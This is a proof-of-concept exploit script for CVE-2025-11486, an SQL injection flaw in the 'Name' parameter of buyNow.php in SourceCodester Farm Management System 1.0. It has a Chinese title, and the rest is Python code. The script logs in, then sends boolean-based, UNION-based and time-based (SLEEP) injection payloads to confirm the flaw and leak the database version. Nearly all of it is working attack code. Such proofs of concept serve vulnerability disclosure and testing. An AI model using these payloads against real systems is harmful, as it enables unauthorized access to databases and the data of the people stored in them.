CVE-2025-11486：SourceCodester农场管理系统SQL注入漏洞

# CVE-2025-11486 PoC - SQL Injection in buyNow.php # Target: SourceCodester Farm Management System 1.0 # Vulnerable Parameter: Name # Author: DrNbnonono import requests TARGET_URL = "http://target.com/buyNow.php" # Step 1: Login to obtain a valid session (low privilege required) session = requests.Session() login_data = { "username": "test_user", "password": "test_password", "login": "submit" } session.post("{}/login.php".format(TARGET_URL.rsplit('/', 1)[0]), data=login_data) # Step 2: Exploit SQL Injection via the 'Name' parameter # Payload 1: Boolean-based blind SQLi to verify the vulnerability payload_true = "test' OR '1'='1" payload_false = "test' OR '1'='2" resp_true = session.post(TARGET_URL, data={"Name": payload_true}) resp_false = session.post(TARGET_URL, data={"Name": payload_false}) if len(resp_true.text) != len(resp_false.text): print("[+] Vulnerability confirmed! Boolean-based SQLi works.") else: print("[-] Could not confirm vulnerability via boolean-based method.") # Step 3: Extract database version using UNION-based SQLi # Adjust column count based on the original query payload_union = "test' UNION SELECT 1,version(),3,4-- -" resp_union = session.post(TARGET_URL, data={"Name": payload_union}) if "MySQL" in resp_union.text or "MariaDB" in resp_union.text: print("[+] Database version leaked successfully!") # Extract and print the leaked version info import re match = re.search(r'(MySQL|MariaDB)[^<]*', resp_union.text) if match: print("[+] Version: " + match.group(0)) # Step 4: Time-based blind SQLi to extract data import time payload_time = "test' OR IF(1=1,SLEEP(3),0)-- -" start = time.time() session.post(TARGET_URL, data={"Name": payload_time}) elapsed = time.time() - start if elapsed >= 3: print("[+] Time-based SQLi confirmed. Server is vulnerable.")